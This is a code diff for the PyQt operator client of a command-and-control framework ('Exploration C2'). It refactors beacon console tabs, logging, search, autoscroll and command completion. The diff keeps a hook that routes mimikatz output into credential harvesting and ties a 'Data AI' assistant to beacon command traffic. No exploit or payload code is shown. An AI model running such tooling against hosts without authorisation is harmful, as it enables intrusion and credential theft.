tab.setLayout(tab.layout) + tab = self.createConsolePage(self.script) + self.tabs.addTab(tab, "Hooks") + self.tabs.setCurrentIndex(self.tabs.count()-1) + + self.artifacts = Artifacts(self, self.grpcClient) + tab = self.createConsolePage(self.artifacts) + self.tabs.addTab(tab, ArtifactTabTitle) + self.tabs.setCurrentIndex(self.tabs.count()-1) + + self.commands = Commands(self, self.grpcClient) + tab = self.createConsolePage(self.commands) + self.tabs.addTab(tab, CommandTabTitle) self.tabs.setCurrentIndex(self.tabs.count()-1) - tab = QWidget() - self.tabs.addTab(tab, "Data AI") - tab.layout = QVBoxLayout(self.tabs) self.assistant = Assistant(self, self.grpcClient) - tab.layout.addWidget(self.assistant) - tab.setLayout(tab.layout) + tab = self.createConsolePage(self.assistant) + self.tabs.addTab(tab, "Data AI") self.tabs.setCurrentIndex(self.tabs.count()-1) - - @pyqtSlot() - def on_click(self): - print("\n") - for currentQTableWidgetItem in self.tableWidget.selectedItems(): - print(currentQTableWidgetItem.row(), currentQTableWidgetItem.column(), currentQTableWidgetItem.text()) + self.protectSystemTabs() + self.tabs.currentChanged.connect(self.updateConsolePolling) + self.updateConsolePolling(self.tabs.currentIndex()) + def createConsolePage(self, child): + tab = QWidget() + tab.setObjectName("C2ConsolePage") + layout = QVBoxLayout(tab) + layout.setContentsMargins(0, 0, 0, 0) + layout.setSpacing(0) + layout.addWidget(child) + return tab + + def protectSystemTabs(self): + tabBar = self.tabs.tabBar() + for index in range(min(SYSTEM_TAB_COUNT, self.tabs.count())): + tabBar.setTabButton(index, QTabBar.ButtonPosition.LeftSide, None) + tabBar.setTabButton(index, QTabBar.ButtonPosition.RightSide, None) + + def consoleFromTab(self, index): + page = self.tabs.widget(index) + if page is None or page.layout() is None or page.layout().count() == 0: + return None + child = page.layout().itemAt(0).widget() + if isinstance(child, Console): + return child + return None + + def updateConsolePolling(self, currentIndex): + for index in range(self.tabs.count()): + console = self.consoleFromTab(index) + if console is not None: + if hasattr(console, "setConsoleActive"): + console.setConsoleActive(index == currentIndex) + else: + console.setResponsePollingActive(index == currentIndex) + if index == currentIndex and hasattr(self.assistant, "setActiveSession"): + self.assistant.setActiveSession(console.beaconHash, console.listenerHash) + def addConsole(self, beaconHash, listenerHash, hostname, username): tabAlreadyOpen=False for idx in range(0,self.tabs.count()): @@ -463,19 +923,18 @@ def addConsole(self, beaconHash, listenerHash, hostname, username): tabAlreadyOpen=True if tabAlreadyOpen==False: - tab = QWidget() - self.tabs.addTab(tab, beaconHash[0:8]) - tab.layout = QVBoxLayout(self.tabs) console = Console(self, self.grpcClient, beaconHash, listenerHash, hostname, username) console.consoleScriptSignal.connect(self.script.consoleScriptMethod) console.consoleScriptSignal.connect(self.assistant.consoleAssistantMethod) - tab.layout.addWidget(console) - tab.setLayout(tab.layout) + tab = self.createConsolePage(console) + self.tabs.addTab(tab, beaconHash[0:8]) self.tabs.setCurrentIndex(self.tabs.count()-1) + if hasattr(self.assistant, "setActiveSession"): + self.assistant.setActiveSession(beaconHash, listenerHash) def closeTab(self, currentIndex): currentQWidget = self.tabs.widget(currentIndex) - if currentIndex<3: + if currentIndex < SYSTEM_TAB_COUNT: return currentQWidget.deleteLater() self.tabs.removeTab(currentIndex) @@ -494,7 +953,10 @@ class Console(QWidget): def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, username): super(QWidget, self).__init__(parent) + apply_dark_panel_style(self) self.layout = QVBoxLayout(self) + self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(6) self.grpcClient = grpcClient @@ -503,24 +965,76 @@ def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, usern self.hostname=hostname.replace("\\", "_").replace(" ", "_") self.username=username.replace("\\", "_").replace(" ", "_") self.logFileName=self.hostname+"_"+self.username+"_"+self.beaconHash+".log" + self.lastCommandLine = "" + self.commandStatusById = {} + self.renderedResponseIds = set() + + self.searchInput = QLineEdit() + self.searchInput.setPlaceholderText("Search output") + self.searchInput.setFixedHeight(26) + self.searchInput.returnPressed.connect(self.findNextSearchMatch) + + self.findPreviousButton = QPushButton("Prev") + self.findPreviousButton.setFixedHeight(26) + self.findPreviousButton.clicked.connect( + lambda _checked=False: self.findNextSearchMatch(backward=True) + ) + self.findNextButton = QPushButton("Next") + self.findNextButton.setFixedHeight(26) + self.findNextButton.clicked.connect( + lambda _checked=False: self.findNextSearchMatch() + ) + self.clearOutputButton = QPushButton("Clear") + self.clearOutputButton.setFixedHeight(26) + self.clearOutputButton.clicked.connect(self.clearConsoleOutput) + self.exportLogButton = QPushButton("Export") + self.exportLogButton.setFixedHeight(26) + self.exportLogButton.clicked.connect(self.exportConsoleOutput) + self.resendButton = QPushButton("Resend") + self.resendButton.setFixedHeight(26) + self.resendButton.clicked.connect(self.resendLastCommand) + self.pauseAutoscrollCheckBox = QCheckBox("Pause scroll") + self.pauseAutoscrollCheckBox.toggled.connect(self.onAutoscrollToggled) + self.consoleNoticeLabel = QLabel("") + self.consoleNoticeLabel.setMinimumWidth(180) + self.consoleNoticeLabel.setAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + + toolbarLayout = QHBoxLayout() + toolbarLayout.addWidget(self.searchInput, 3) + toolbarLayout.addWidget(self.findPreviousButton) + toolbarLayout.addWidget(self.findNextButton) + toolbarLayout.addWidget(self.clearOutputButton) + toolbarLayout.addWidget(self.exportLogButton) + toolbarLayout.addWidget(self.resendButton) + toolbarLayout.addWidget(self.pauseAutoscrollCheckBox) + toolbarLayout.addWidget(self.consoleNoticeLabel, 2) + self.layout.addLayout(toolbarLayout) self.editorOutput = QTextEdit() self.editorOutput.setReadOnly(True) self.editorOutput.setAcceptRichText(True) - self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) + apply_console_output_style(self.editorOutput) self.layout.addWidget(self.editorOutput, 8) - - self.commandEditor = CommandEditor() - self.layout.addWidget(self.commandEditor, 2) + self.loadConsoleLog() + + self.commandEditor = CommandEditor( + grpcClient=self.grpcClient, + beaconHash=self.beaconHash, + listenerHash=self.listenerHash, + ) + self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) + self.consoleActive = True - # Thread to get sessions response + # Thread to get session responses. Response collection must stay + # independent from the visible tab because the assistant resumes + # pending tool calls from these events while the Data AI tab is focused. # https://realpython.com/python-pyqt-qthread/ self.thread = QThread() - self.getSessionResponse = GetSessionResponse() + self.getSessionResponse = GetSessionResponse(self.grpcClient, self.beaconHash, self.listenerHash) self.getSessionResponse.moveToThread(self.thread) self.thread.started.connect(self.getSessionResponse.run) - self.getSessionResponse.checkin.connect(self.displayResponse) + self.getSessionResponse.responseReady.connect(self.displayResponse) self.thread.start() def __del__(self): @@ -541,16 +1055,176 @@ def event(self, event): return True return super().event(event) - def printInTerminal(self, cmdSent, cmdReived, result): - now = datetime.now() - sendFormater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [>>] '+'{}'+'

' - receiveFormater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [<<] '+'{}'+'

' + def setConsoleNotice(self, message, is_error=False): + self.consoleNoticeLabel.setText(message) + color = CONSOLE_COLORS["error"] if is_error else CONSOLE_COLORS["muted"] + self.consoleNoticeLabel.setStyleSheet(f"color: {color};") + + def setResponsePollingActive(self, active): + self.setConsoleActive(active) + + def setConsoleActive(self, active): + self.consoleActive = bool(active) + + def findNextSearchMatch(self, backward=False): + search_text = self.searchInput.text().strip() + if search_text == "": + self.setConsoleNotice("Search term required.", True) + return False + + original_cursor = self.editorOutput.textCursor() + flags = QTextDocument.FindFlag.FindBackward if backward else QTextDocument.FindFlag(0) + if self.editorOutput.find(search_text, flags): + self.setConsoleNotice("Match found.") + return True + + cursor = self.editorOutput.textCursor() + if backward: + cursor.movePosition(QTextCursor.MoveOperation.End) + else: + cursor.movePosition(QTextCursor.MoveOperation.Start) + self.editorOutput.setTextCursor(cursor) + + if self.editorOutput.find(search_text, flags): + self.setConsoleNotice("Search wrapped.") + return True + + self.editorOutput.setTextCursor(original_cursor) + self.setConsoleNotice("No match.", True) + return False + + def clearConsoleOutput(self): + self.editorOutput.clear() + self.setConsoleNotice("Output cleared.") + + def exportConsoleOutput(self): + os.makedirs(logsDir, exist_ok=True) + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f") + base_name = os.path.splitext(self.logFileName)[0] + output_path = os.path.join(logsDir, f"{base_name}_console_{timestamp}.log") + with open(output_path, "w", encoding="utf-8") as exportFile: + exportFile.write(self.editorOutput.toPlainText().rstrip()) + exportFile.write("\n") + self.setConsoleNotice("Exported " + os.path.basename(output_path)) + return output_path + + def onAutoscrollToggled(self, checked): + if checked: + self.setConsoleNotice("Autoscroll paused.") + return + self.setConsoleNotice("Autoscroll enabled.") + self.setCursorEditorAtEnd(force=True) + + def isAutoscrollPaused(self): + return self.pauseAutoscrollCheckBox.isChecked() + + def _shortCommandId(self, command_id): + return (command_id or "unknown")[:8] + + def _shortText(self, text, limit=90): + text = " ".join(str(text or "").split()) + if len(text) <= limit: + return text + return text[:limit - 3] + "..." + + def consoleLogPath(self): + return os.path.join(logsDir, self.logFileName) + + def appendConsoleEvent(self, event, **payload): + os.makedirs(logsDir, exist_ok=True) + eventPayload = { + "event": event, + "timestamp": datetime.now().strftime("%Y:%m:%d %H:%M:%S"), + **payload, + } + with open(self.consoleLogPath(), "a", encoding="utf-8") as logFile: + logFile.write(CONSOLE_EVENT_PREFIX) + logFile.write(json.dumps(eventPayload, sort_keys=True)) + logFile.write("\n") + + def loadConsoleLog(self): + path = self.consoleLogPath() + if not os.path.exists(path): + return + + loadedEvents = 0 + with open(path, encoding="utf-8", errors="replace") as logFile: + for line in logFile: + if not line.startswith(CONSOLE_EVENT_PREFIX): + continue + rawPayload = line[len(CONSOLE_EVENT_PREFIX):].strip() + try: + eventPayload = json.loads(rawPayload) + except json.JSONDecodeError: + continue + if self.renderConsoleEvent(eventPayload): + loadedEvents += 1 + + if loadedEvents: + self.setConsoleNotice(f"Loaded {loadedEvents} log events.") + self.setCursorEditorAtEnd(force=True) + + def renderConsoleEvent(self, eventPayload): + status = eventPayload.get("event", "") + if status not in {"queued", "done", "error"}: + return False + + command_id = eventPayload.get("command_id", "") + command = eventPayload.get("command", "") + output = eventPayload.get("output", "") + source = eventPayload.get("source", "") + timestamp = eventPayload.get("timestamp", "") + + self.setCommandStatus(command_id, status, command, output if status == "error" else "") + self.printCommandStatusInTerminal(command_id, status, command or output, timestamp=timestamp) + if status in {"done", "error"} and output: + self.printInTerminal("", "", output) + if command_id and source != "ack": + self.renderedResponseIds.add(command_id) + return True + + def setCommandStatus(self, command_id, status, command_line="", message=""): + if not command_id: + return + self.commandStatusById[command_id] = { + "status": status, + "command": command_line, + "message": message, + "updated_at": time.time(), + } + + detail = self._shortText(command_line or message) + notice = f"{status} {self._shortCommandId(command_id)}" + if detail: + notice += f" - {detail}" + self.setConsoleNotice(notice, status == "error") + + def printCommandStatusInTerminal(self, command_id, status, message="", timestamp=None): + tones = { + "queued": "warning", + "done": "success", + "error": "error", + } + terminal_line = console_status_html( + status, + self._shortCommandId(command_id or "unknown"), + self._shortText(message, 140), + tone=tones.get(status, "info"), + timestamp=timestamp, + ) + self.editorOutput.insertHtml(terminal_line) + self.editorOutput.insertPlainText("\n") + def printInTerminal(self, cmdSent, cmdReived, result): if cmdSent: - self.editorOutput.insertHtml(sendFormater.format(cmdSent)) + self.editorOutput.insertHtml( + console_header_html(cmdSent, marker="[>>]", tone="command") + ) self.editorOutput.insertPlainText("\n") elif cmdReived: - self.editorOutput.insertHtml(receiveFormater.format(cmdReived)) + self.editorOutput.insertHtml( + console_header_html(cmdReived, marker="[<<]", tone="response") + ) self.editorOutput.insertPlainText("\n") if result: @@ -560,37 +1234,68 @@ def printInTerminal(self, cmdSent, cmdReived, result): # Convert remaining color SGR html_body = ansi_to_html(s) - html = ( - "
"
-                f"{html_body}"
-                "
" - ) - self.editorOutput.insertHtml(html) + self.editorOutput.insertHtml(console_pre_html(html_body)) self.editorOutput.insertHtml("
") self.editorOutput.insertPlainText("\n") + def printLocalCommandQueued(self, command_id, command_line): + self.setCommandStatus(command_id, "queued", command_line) + self.printCommandStatusInTerminal(command_id, "queued", command_line) + self.appendConsoleEvent( + "queued", + command_id=command_id, + command=command_line, + source="local", + ) + + def printLocalCommandFinished(self, command_id, command_line, output, status="done"): + self.setCommandStatus(command_id, status, command_line, output if status == "error" else "") + self.printCommandStatusInTerminal(command_id, status, command_line) + if output: + self.printInTerminal("", "", output) + self.appendConsoleEvent( + status, + command_id=command_id, + command=command_line, + output=output, + source="local", + ) + + def resendLastCommand(self): + if self.lastCommandLine == "": + self.setConsoleNotice("No command to resend.", True) + return + self.executeCommand(self.lastCommandLine) + def runCommand(self): commandLine = self.commandEditor.displayText() self.commandEditor.clearLine() + self.executeCommand(commandLine) + + def executeCommand(self, commandLine): self.setCursorEditorAtEnd() if commandLine == "": self.printInTerminal("", "", "") + self.setCursorEditorAtEnd() + return - else: - with open(CmdHistoryFileName, 'a') as cmdHistoryFile: - cmdHistoryFile.write(commandLine) - cmdHistoryFile.write('\n') + self.lastCommandLine = commandLine - with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: - logFile.write('[+] send: \"' + commandLine + '\"') - logFile.write('\n') + with open(CmdHistoryFileName, 'a') as cmdHistoryFile: + cmdHistoryFile.write(commandLine) + cmdHistoryFile.write('\n') - self.commandEditor.setCmdHistory() - instructions = commandLine.split() - if instructions[0]==HelpInstruction: + with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: + logFile.write('[+] send: \"' + commandLine + '\"') + logFile.write('\n') + + self.commandEditor.setCmdHistory() + instructions = commandLine.split() + if instructions[0]==HelpInstruction: + command_id = uuid.uuid4().hex + self.printLocalCommandQueued(command_id, commandLine) + try: command = TeamServerApi_pb2.CommandHelpRequest( session=TeamServerApi_pb2.SessionSelector( beacon_hash=self.beaconHash, @@ -600,172 +1305,223 @@ def runCommand(self): ) response = self.grpcClient.getCommandHelp(command) command_text = getattr(response, "command", commandLine) or commandLine - self.printInTerminal(command_text, "", "") if is_response_ok(response): - self.printInTerminal("", command_text, response.help) + output = getattr(response, "help", "") or response_message(response, "No help available.") + self.printLocalCommandFinished(command_id, command_text, output) else: - self.printInTerminal("", command_text, response_message(response, "No help available.")) + self.printLocalCommandFinished( + command_id, + command_text, + response_message(response, "No help available."), + "error", + ) + except Exception as exc: + self.printLocalCommandFinished(command_id, commandLine, f"Error: {exc}", "error") + self.setCursorEditorAtEnd() + return - else: - self.printInTerminal(commandLine, "", "") - command_id = uuid.uuid4().hex - command = TeamServerApi_pb2.SessionCommandRequest( - session=TeamServerApi_pb2.SessionSelector( + if instructions[0] == ListModuleInstruction: + command_id = uuid.uuid4().hex + self.printLocalCommandQueued(command_id, commandLine) + try: + modules = list(self.grpcClient.listModules( + TeamServerApi_pb2.SessionSelector( beacon_hash=self.beaconHash, listener_hash=self.listenerHash, - ), - command=commandLine, - command_id=command_id, - ) - result = self.grpcClient.sendSessionCommand(command) - command_id = getattr(result, "command_id", command_id) or command_id - if not is_response_ok(result): - message = response_message(result, "Command was rejected by TeamServer.") - self.printInTerminal("", commandLine, message) - with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: - logFile.write('[+] rejected: \"' + commandLine + '\"') - logFile.write('\n' + message + '\n') - self.setCursorEditorAtEnd() - return - - context = "Host " + self.hostname + " - Username " + self.username - self.consoleScriptSignal.emit("send", self.beaconHash, self.listenerHash, context, commandLine, "", command_id) - ack_message = response_message(result) - if ack_message: - self.printInTerminal("", commandLine, ack_message) + ) + )) + self.printLocalCommandFinished(command_id, commandLine, _format_loaded_modules_for_console(modules)) + except Exception as exc: + self.printLocalCommandFinished(command_id, commandLine, f"Error: {exc}", "error") + self.setConsoleNotice("listModule failed.", True) + self.setCursorEditorAtEnd() + return + + command_id = uuid.uuid4().hex + command = TeamServerApi_pb2.SessionCommandRequest( + session=TeamServerApi_pb2.SessionSelector( + beacon_hash=self.beaconHash, + listener_hash=self.listenerHash, + ), + command=commandLine, + command_id=command_id, + ) + result = self.grpcClient.sendSessionCommand(command) + command_id = getattr(result, "command_id", command_id) or command_id + if not is_response_ok(result): + message = response_message(result, "Command was rejected by TeamServer.") + self.setCommandStatus(command_id, "error", commandLine, message) + self.printCommandStatusInTerminal(command_id, "error", commandLine) + self.printInTerminal("", "", message) + self.appendConsoleEvent( + "error", + command_id=command_id, + command=commandLine, + output=message, + source="ack", + ) + with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: + logFile.write('[+] rejected: \"' + commandLine + '\"') + logFile.write('\n' + message + '\n') + self.setCursorEditorAtEnd() + return + + self.setCommandStatus(command_id, "queued", commandLine) + self.printCommandStatusInTerminal(command_id, "queued", commandLine) + self.appendConsoleEvent("queued", command_id=command_id, command=commandLine) + context = "Host " + self.hostname + " - Username " + self.username + self.consoleScriptSignal.emit("send", self.beaconHash, self.listenerHash, context, commandLine, "", command_id) + ack_message = response_message(result) + if ack_message: + self.printInTerminal("", "", ack_message) self.setCursorEditorAtEnd() - def displayResponse(self): + def displayResponse(self, response=None): session = TeamServerApi_pb2.SessionSelector(beacon_hash=self.beaconHash, listener_hash=self.listenerHash) - responses = self.grpcClient.streamSessionCommandResults(session) - for response in responses: - context = "Host " + self.hostname + " - Username " + self.username - command_id = getattr(response, "command_id", "") - listener_hash = response.session.listener_hash or self.listenerHash - command_text = response.command or response.instruction - decoded_response = response.output.decode('utf-8', 'replace') - if not is_response_ok(response): - decoded_response = response_message(response) or decoded_response or "Command failed." - self.consoleScriptSignal.emit("receive", self.beaconHash, listener_hash, context, command_text, decoded_response, command_id) - self.setCursorEditorAtEnd() - # check the response for mimikatz and not the cmd line ??? - if "-e mimikatz.exe" in command_text: - credentials.handleMimikatzCredentials(decoded_response, self.grpcClient, TeamServerApi_pb2) - self.printInTerminal("", command_text, decoded_response) - self.setCursorEditorAtEnd() + if response is None: + responses = self.grpcClient.streamSessionCommandResults(session) + for session_response in responses: + self.displayResponse(session_response) + return - with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: - logFile.write('[+] result: \"' + command_text + '\"') - logFile.write('\n' + decoded_response + '\n') - logFile.write('\n') + context = "Host " + self.hostname + " - Username " + self.username + command_id = getattr(response, "command_id", "") + if command_id and command_id in self.renderedResponseIds: + return + listener_hash = response.session.listener_hash or self.listenerHash + command_text = response.command or response.instruction + decoded_response = response.output.decode('utf-8', 'replace') + response_ok = is_response_ok(response) + if not response_ok: + decoded_response = response_message(response) or decoded_response or "Command failed." + self.consoleScriptSignal.emit("receive", self.beaconHash, listener_hash, context, command_text, decoded_response, command_id) + # check the response for mimikatz and not the cmd line ??? + if "-e mimikatz.exe" in command_text: + credentials.handleMimikatzCredentials(decoded_response, self.grpcClient, TeamServerApi_pb2) + status = "done" if response_ok else "error" + self.setCommandStatus(command_id, status, command_text, decoded_response if not response_ok else "") + self.printCommandStatusInTerminal(command_id, status, command_text) + self.printInTerminal("", "", decoded_response) + if command_id: + self.renderedResponseIds.add(command_id) + self.appendConsoleEvent( + status, + command_id=command_id, + command=command_text, + output=decoded_response, + source="response", + ) + self.setCursorEditorAtEnd() - def setCursorEditorAtEnd(self): - cursor = self.editorOutput.textCursor() - cursor.movePosition(QTextCursor.MoveOperation.End) - self.editorOutput.setTextCursor(cursor) + with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: + logFile.write('[+] result: \"' + command_text + '\"') + logFile.write('\n' + decoded_response + '\n') + logFile.write('\n') + + def setCursorEditorAtEnd(self, force=False): + if not force and self.isAutoscrollPaused(): + return + move_editor_to_end(self.editorOutput) class GetSessionResponse(QObject): - """Background worker querying session responses.""" + """Background worker collecting session responses off the UI thread.""" - checkin = pyqtSignal() + responseReady = pyqtSignal(object) - def __init__(self) -> None: + def __init__(self, grpcClient, beaconHash, listenerHash) -> None: super().__init__() + self.grpcClient = grpcClient + self.beaconHash = beaconHash + self.listenerHash = listenerHash self.exit = False def run(self) -> None: while not self.exit: - self.checkin.emit() + session = TeamServerApi_pb2.SessionSelector( + beacon_hash=self.beaconHash, + listener_hash=self.listenerHash, + ) + try: + for response in self.grpcClient.streamSessionCommandResults(session): + if self.exit: + break + self.responseReady.emit(response) + except Exception as exc: + logger.debug("Session response polling failed for %s: %s", self.beaconHash[:8], exc) time.sleep(1) def quit(self) -> None: self.exit = True -class CommandEditor(QLineEdit): - tabPressed = pyqtSignal() - - def __init__(self, parent: QWidget | None = None) -> None: - super().__init__(parent) +class CommandEditor(CompletionInput): + def __init__( + self, + parent: QWidget | None = None, + grpcClient=None, + beaconHash: str = "", + listenerHash: str = "", + ) -> None: + completion_provider = CommandCompletionProvider(grpcClient, beaconHash, listenerHash) + super().__init__( + parent, + completion_data=completion_provider.build(force=True), + completion_provider=completion_provider.build, + ) self.cmdHistory: list[str] = [] self.idx: int = 0 + self.completionProvider = completion_provider if os.path.isfile(CmdHistoryFileName): - with open(CmdHistoryFileName) as cmdHistoryFile: + with open(CmdHistoryFileName, encoding="utf-8") as cmdHistoryFile: self.cmdHistory = cmdHistoryFile.readlines() self.idx = len(self.cmdHistory) - 1 - QShortcut(Qt.Key.Key_Up, self, self.historyUp) - QShortcut(Qt.Key.Key_Down, self, self.historyDown) + QShortcut(Qt.Key.Key_Up, self.lineEdit, self.historyUp) + QShortcut(Qt.Key.Key_Down, self.lineEdit, self.historyDown) - self.codeCompleter = CodeCompleter(completerData, self) - # needed to clear the completer after activation - self.codeCompleter.activated.connect(self.onActivated) - self.setCompleter(self.codeCompleter) - self.tabPressed.connect(self.nextCompletion) + def refreshCompleter(self, force: bool = False): + completionData = self.completionProvider.build(force=force) + if completionData != self.completionData: + self.completionData = completionData + self.hideCompletionPopup() def nextCompletion(self): - index = self.codeCompleter.currentIndex() - self.codeCompleter.popup().setCurrentIndex(index) - start = self.codeCompleter.currentRow() - if not self.codeCompleter.setCurrentRow(start + 1): - self.codeCompleter.setCurrentRow(0) - - def event(self, event): - if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: - self.tabPressed.emit() - return True - return super().event(event) + if not self.dropdown.isVisible(): + self.refreshCompleter() + super().nextCompletion() + + def previousCompletion(self): + if not self.dropdown.isVisible(): + self.refreshCompleter() + super().previousCompletion() + + def buildCompletionOptions(self, descend_exact: bool = False) -> list[CompletionOption]: + return console_completion_options( + self.completionData, + self.completionPrefix(), + descend_exact=descend_exact, + ) def historyUp(self): - if(self.idx=0): - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] - self.idx=max(self.idx-1,0) + if self.idx < len(self.cmdHistory) and self.idx >= 0: + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] + self.idx = max(self.idx - 1, 0) self.setText(cmd.strip()) def historyDown(self): - if(self.idx=0): - self.idx=min(self.idx+1,len(self.cmdHistory)-1) - cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] + if self.idx < len(self.cmdHistory) and self.idx >= 0: + self.idx = min(self.idx + 1, len(self.cmdHistory) - 1) + cmd = self.cmdHistory[self.idx % len(self.cmdHistory)] self.setText(cmd.strip()) def setCmdHistory(self) -> None: - with open(CmdHistoryFileName) as cmdHistoryFile: + with open(CmdHistoryFileName, encoding="utf-8") as cmdHistoryFile: self.cmdHistory = cmdHistoryFile.readlines() self.idx = len(self.cmdHistory) - 1 def clearLine(self): self.clear() - - def onActivated(self): - QTimer.singleShot(0, self.clear) - - -class CodeCompleter(QCompleter): - ConcatenationRole = Qt.ItemDataRole.UserRole + 1 - - def __init__(self, data, parent=None): - super().__init__(parent) - self.createModel(data) - - def splitPath(self, path): - return path.split(' ') - - def pathFromIndex(self, ix): - return ix.data(CodeCompleter.ConcatenationRole) - - def createModel(self, data): - def addItems(parent, elements, t=""): - for text, children in elements: - item = QStandardItem(text) - data = t + " " + text if t else text - item.setData(data, CodeCompleter.ConcatenationRole) - parent.appendRow(item) - if children: - addItems(item, children, data) - model = QStandardItemModel(self) - addItems(model, data) - self.setModel(model) diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index e7393d5..509119b 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -3,8 +3,10 @@ import os import signal import sys +from datetime import datetime from typing import Optional, Tuple +from PyQt6.QtCore import QObject, Qt, pyqtSignal from PyQt6.QtWidgets import ( QApplication, QDialog, @@ -14,7 +16,6 @@ QLabel, QLineEdit, QMainWindow, - QPushButton, QTabWidget, QVBoxLayout, QWidget, @@ -25,17 +26,43 @@ from .SessionPanel import Sessions from .ConsolePanel import ConsolesTab from .GraphPanel import Graph -from .env import load_c2_env +from .env import env_bool, env_int, env_value, load_c2_env +from .panel_style import apply_main_window_style +from .ui_status import ( + DEFAULT_LAST_ERROR_TEXT, + DEFAULT_LAST_RPC_TEXT, + StatusKind, + apply_error, + apply_status, + clear_status, + compact_message, + format_last_error, + format_last_rpc, +) +from .window_chrome import apply_dark_window_chrome import qdarktheme -logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s') -for noisy_logger in ("openai", "httpx", "httpcore"): - logging.getLogger(noisy_logger).setLevel(logging.WARNING) +def configureLogging() -> None: + level_name = env_value("C2_LOG_LEVEL", "WARNING").strip().upper() + level = getattr(logging, level_name, logging.WARNING) + logging.basicConfig(level=level, format='%(asctime)s - %(levelname)s - %(message)s') + logging.getLogger().setLevel(level) + for noisy_logger in ("openai", "httpx", "httpcore"): + logging.getLogger(noisy_logger).setLevel(logging.WARNING) + + +configureLogging() signal.signal(signal.SIGINT, signal.SIG_DFL) +class RpcStatusEvents(QObject): + """Bridge gRPC worker-thread status callbacks back to the Qt UI thread.""" + + rpcStatus = pyqtSignal(str, bool, str) + + class CredentialDialog(QDialog): """Prompt for credentials when environment variables are absent.""" @@ -43,6 +70,7 @@ def __init__(self, parent: Optional[QWidget] = None, default_username: str = "") super().__init__(parent) self.setWindowTitle("Login") self.setModal(True) + apply_dark_window_chrome(self) layout = QVBoxLayout(self) description = QLabel("Login:") @@ -60,8 +88,8 @@ def __init__(self, parent: Optional[QWidget] = None, default_username: str = "") self.password_input.setEchoMode(QLineEdit.EchoMode.Password) layout.addWidget(self.password_input) - self.error_label = QLabel("Username and password are required.") - self.error_label.setStyleSheet("color: red;") + self.error_label = QLabel() + apply_error(self.error_label, "Username and password are required.") self.error_label.setVisible(False) layout.addWidget(self.error_label) @@ -81,6 +109,10 @@ def _handle_accept(self) -> None: def credentials(self) -> Tuple[str, str]: return self.username_input.text().strip(), self.password_input.text() + def showEvent(self, event) -> None: + super().showEvent(event) + apply_dark_window_chrome(self) + class App(QMainWindow): """Main application window for the C2 client.""" @@ -108,26 +140,37 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl except ValueError as e: raise e - self.createPayloadWindow: Optional[QWidget] = None + self.operatorUsername = username or getattr(self.grpcClient, "username", "") or "unknown" + self._lastRpcError = "" self.title = 'Exploration C2' self.left = 0 self.top = 0 self.width = 1000 self.height = 1000 + self.setObjectName("C2MainWindow") self.setWindowTitle(self.title) self.setGeometry(self.left, self.top, self.width, self.height) + apply_main_window_style(self) + apply_dark_window_chrome(self) + + self.rpcStatusEvents = RpcStatusEvents(self) + self.rpcStatusEvents.rpcStatus.connect(self.updateRpcStatus) + if hasattr(self.grpcClient, "set_status_callback"): + self.grpcClient.set_status_callback(self.rpcStatusEvents.rpcStatus.emit) + self.setupStatusBar() central_widget = QWidget() + central_widget.setObjectName("C2CentralWidget") self.setCentralWidget(central_widget) - config_button = QPushButton("Payload") - config_button.clicked.connect(self.payloadForm) - self.mainLayout = QGridLayout(central_widget) - self.mainLayout.setContentsMargins(0, 0, 0, 0) - self.mainLayout.setRowStretch(1, 3) - self.mainLayout.setRowStretch(2, 7) + self.mainLayout.setContentsMargins(6, 6, 6, 6) + self.mainLayout.setHorizontalSpacing(6) + self.mainLayout.setVerticalSpacing(6) + self.mainLayout.setColumnStretch(0, 1) + self.mainLayout.setRowStretch(0, 3) + self.mainLayout.setRowStretch(1, 7) self.topLayout() self.botLayout() @@ -138,17 +181,75 @@ def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tupl self.sessionsWidget.interactWithSession.connect(self.consoleWidget.addConsole) + if hasattr(self.consoleWidget.script, "setClientStateProvider"): + self.consoleWidget.script.setClientStateProvider( + lambda: { + "sessions": self.sessionsWidget.scriptSnapshot(), + "listeners": self.listenersWidget.scriptSnapshot(), + } + ) + self.consoleWidget.script.mainScriptMethod("start", "", "", "") + def setupStatusBar(self) -> None: + """Initialise the persistent connection and RPC status widgets.""" + + self.connectionStatusLabel = QLabel(self) + self.rpcStatusLabel = QLabel(DEFAULT_LAST_RPC_TEXT, self) + self.errorStatusLabel = QLabel(DEFAULT_LAST_ERROR_TEXT, self) + + for label in (self.connectionStatusLabel, self.rpcStatusLabel, self.errorStatusLabel): + label.setTextInteractionFlags(Qt.TextInteractionFlag.TextSelectableByMouse) + + status_bar = self.statusBar() + status_bar.setSizeGripEnabled(False) + status_bar.addWidget(self.connectionStatusLabel, 5) + status_bar.addPermanentWidget(self.rpcStatusLabel, 2) + status_bar.addPermanentWidget(self.errorStatusLabel, 4) + + self.setConnectionStatus(True) + + def setConnectionStatus(self, connected: bool) -> None: + state = "Connected" if connected else "RPC error" + endpoint = getattr(self.grpcClient, "endpoint", f"{self.ip}:{self.port}") + client_id = getattr(self.grpcClient, "client_id", "") + client_id_text = f" | client {client_id[:8]}" if client_id else "" + cert_path = getattr(self.grpcClient, "ca_cert_path", "") + cert_name = os.path.basename(cert_path) if cert_path else "unknown cert" + 